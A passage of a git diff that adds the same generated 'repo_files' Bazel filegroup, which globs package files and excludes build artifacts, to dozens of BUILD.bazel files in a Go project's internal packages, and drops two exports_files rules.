"**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dberrors/BUILD.bazel b/internal/storage/dberrors/BUILD.bazel index b29f0175a..5a5614ffe 100644 --- a/internal/storage/dberrors/BUILD.bazel +++ b/internal/storage/dberrors/BUILD.bazel @@ -33,3 +33,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/identity/BUILD.bazel b/internal/storage/dbproxy/identity/BUILD.bazel index fa3c24b66..de7e8243c 100644 --- a/internal/storage/dbproxy/identity/BUILD.bazel +++ b/internal/storage/dbproxy/identity/BUILD.bazel @@ -33,3 +33,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/pidfile/BUILD.bazel b/internal/storage/dbproxy/pidfile/BUILD.bazel index 302bb931e..47e4de2d1 100644 --- a/internal/storage/dbproxy/pidfile/BUILD.bazel +++ b/internal/storage/dbproxy/pidfile/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel index 5f8cdad9d..f3691c871 100644 --- a/internal/storage/dbproxy/proxy/BUILD.bazel +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -108,3 +108,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index fb64d1fc3..4236238be 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -62,3 +62,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel index dcf75e375..e0a65d2f5 100644 --- a/internal/storage/dbproxy/util/BUILD.bazel +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -33,3 +33,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/depid/BUILD.bazel b/internal/storage/depid/BUILD.bazel index 759164bdc..6fa6f9f05 100644 --- a/internal/storage/depid/BUILD.bazel +++ b/internal/storage/depid/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 6d9fad283..7263ec7bf 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -590,3 +590,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index dbcff6704..d018dd26b 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -55,3 +55,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index c35a54ac3..4393d650a 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -89,3 +89,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index da2460a55..7498f62cf 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -193,3 +193,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index 0ed0a9c9b..4d6d2e8cb 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -77,3 +77,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 4b802168a..7b4b8f2e0 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -64,3 +64,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 56949ee3c..d250bd628 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -373,3 +373,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 11a955b95..da3b5b782 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index 2b80333d8..d558c90a4 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -55,3 +55,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/fs/BUILD.bazel b/internal/storage/fs/BUILD.bazel index 2865f1f1e..4ef61a465 100644 --- a/internal/storage/fs/BUILD.bazel +++ b/internal/storage/fs/BUILD.bazel @@ -23,3 +23,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/git/BUILD.bazel b/internal/storage/git/BUILD.bazel index 7b22060ab..25e548a7b 100644 --- a/internal/storage/git/BUILD.bazel +++ b/internal/storage/git/BUILD.bazel @@ -23,3 +23,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 71512f91a..af5f9fc2e 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -230,3 +230,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/journalscan/BUILD.bazel b/internal/storage/journalscan/BUILD.bazel index 724b7b0d9..d1178ba0e 100644 --- a/internal/storage/journalscan/BUILD.bazel +++ b/internal/storage/journalscan/BUILD.bazel @@ -25,3 +25,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/kvkeys/BUILD.bazel b/internal/storage/kvkeys/BUILD.bazel index 3b609a2ca..ee4c8e5cd 100644 --- a/internal/storage/kvkeys/BUILD.bazel +++ b/internal/storage/kvkeys/BUILD.bazel @@ -25,3 +25,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/memoryops/BUILD.bazel b/internal/storage/memoryops/BUILD.bazel index 5bdd40d2c..9039a52f6 100644 --- a/internal/storage/memoryops/BUILD.bazel +++ b/internal/storage/memoryops/BUILD.bazel @@ -29,3 +29,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/rowid/BUILD.bazel b/internal/storage/rowid/BUILD.bazel index 180d6fea9..90788b3c9 100644 --- a/internal/storage/rowid/BUILD.bazel +++ b/internal/storage/rowid/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index 1975dfb22..c3deff533 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -179,12 +179,6 @@ filegroup( visibility = ["//internal/storage:__subpackages__"], ) -# Linked from the root and engdocs AGENTS.md; //:docsync_files checks those links. -exports_files( - ["migrations/README.md"], - visibility = ["//:__pkg__"], -) - # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( @@ -197,3 +191,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/sqlbuild/BUILD.bazel b/internal/storage/sqlbuild/BUILD.bazel index fbbbe7d4b..8f2ce0aa2 100644 --- a/internal/storage/sqlbuild/BUILD.bazel +++ b/internal/storage/sqlbuild/BUILD.bazel @@ -52,3 +52,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/sqlclass/BUILD.bazel b/internal/storage/sqlclass/BUILD.bazel index db106a867..f169dff0d 100644 --- a/internal/storage/sqlclass/BUILD.bazel +++ b/internal/storage/sqlclass/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/sqlcount/BUILD.bazel b/internal/storage/sqlcount/BUILD.bazel index 66d03210a..eaa94c1b4 100644 --- a/internal/storage/sqlcount/BUILD.bazel +++ b/internal/storage/sqlcount/BUILD.bazel @@ -19,3 +19,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/storagecontract/BUILD.bazel b/internal/storage/storagecontract/BUILD.bazel index dab3ad5b1..416cedece 100644 --- a/internal/storage/storagecontract/BUILD.bazel +++ b/internal/storage/storagecontract/BUILD.bazel @@ -20,3 +20,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index fe2f3f26c..ffcd8cf28 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -280,3 +280,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel index d33ea0127..17fc465ad 100644 --- a/internal/storage/versioncontrolops/BUILD.bazel +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -65,3 +65,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index a643c5b60..380b9d29a 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -83,3 +83,25 @@ go_test( "@io_opentelemetry_go_otel_trace//noop", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/templates/BUILD.bazel b/internal/templates/BUILD.bazel index 486d2d183..521b4505e 100644 --- a/internal/templates/BUILD.bazel +++ b/internal/templates/BUILD.bazel @@ -10,3 +10,25 @@ go_library( importpath = "github.com/steveyegge/beads/internal/templates", visibility = ["//:__subpackages__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/templates/agents/BUILD.bazel b/internal/templates/agents/BUILD.bazel index edb3fc13a..4836ed286 100644 --- a/internal/templates/agents/BUILD.bazel +++ b/internal/templates/agents/BUILD.bazel @@ -24,3 +24,25 @@ go_test( ], embed = [":agents"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 7e54398e1..8cff43c52 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -125,12 +125,24 @@ go_test( ], ) -# Dolt image pin read as text by //test/docsync and the dolt pin tests in -# //scripts. -exports_files( - ["testdoltcommon.go"], - visibility = [ - "//scripts:__pkg__", - "//test/docsync:__pkg__", - ], +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], ) + +# --- end repo_files --- diff --git a/internal/testutil/bazeltest/BUILD.bazel b/internal/testutil/bazeltest/BUILD.bazel index ea4bf0b8c..a3a6c955d 100644 --- a/internal/testutil/bazeltest/BUILD.bazel +++ b/internal/testutil/bazeltest/BUILD.bazel @@ -13,3 +13,25 @@ go_test( data = glob(["testdata/**"]), embed = [":bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/credentialcmd/BUILD.bazel b/internal/testutil/credentialcmd/BUILD.bazel index 3ea66fd39..82e67577d 100644 --- a/internal/testutil/credentialcmd/BUILD.bazel +++ b/internal/testutil/credentialcmd/BUILD.bazel @@ -16,3 +16,25 @@ go_test( srcs = ["credentialcmd_test.go"], embed = [":credentialcmd"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel index 4f79f92a7..aee139035 100644 --- a/internal/testutil/fixtures/BUILD.bazel +++ b/internal/testutil/fixtures/BUILD.bazel @@ -25,3 +25,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/integration/BUILD.bazel b/internal/testutil/integration/BUILD.bazel index f34816ff5..fcc3fc611 100644 --- a/internal/testutil/integration/BUILD.bazel +++ b/internal/testutil/integration/BUILD.bazel @@ -79,3 +79,25 @@ go_test( env = {"BEADS_TEST_GO_BINARY": "$(rlocationpath @go_sdk//:bin/go)"}, tags = ["integration-only"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/timeparsing/BUILD.bazel b/internal/timeparsing/BUILD.bazel index 3455ac0bc..200d3d297 100644 --- a/internal/timeparsing/BUILD.bazel +++ b/internal/timeparsing/BUILD.bazel @@ -20,3 +20,25 @@ go_test( ], embed = [":timeparsing"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index e0cadf8b6..491df98bd 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -108,3 +108,25 @@ sh_test( }, tags = ["dolt-server"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel index 0fa79e36d..660c18c85 100644 --- a/internal/tracker/conformance/BUILD.bazel +++ b/internal/tracker/conformance/BUILD.bazel @@ -51,3 +51,25 @@ sh_test( }, tags = ["dolt-server"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index 82e7ed542..1b2a611cf 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -38,3 +38,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/ui/BUILD.bazel b/internal/ui/BUILD.bazel index b28b57666..d4bf16eb4 100644 --- a/internal/ui/BUILD.bazel +++ b/internal/ui/BUILD.bazel @@ -31,3 +31,25 @@ go_test( "@land_charm_lipgloss_v2//:lipgloss", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git 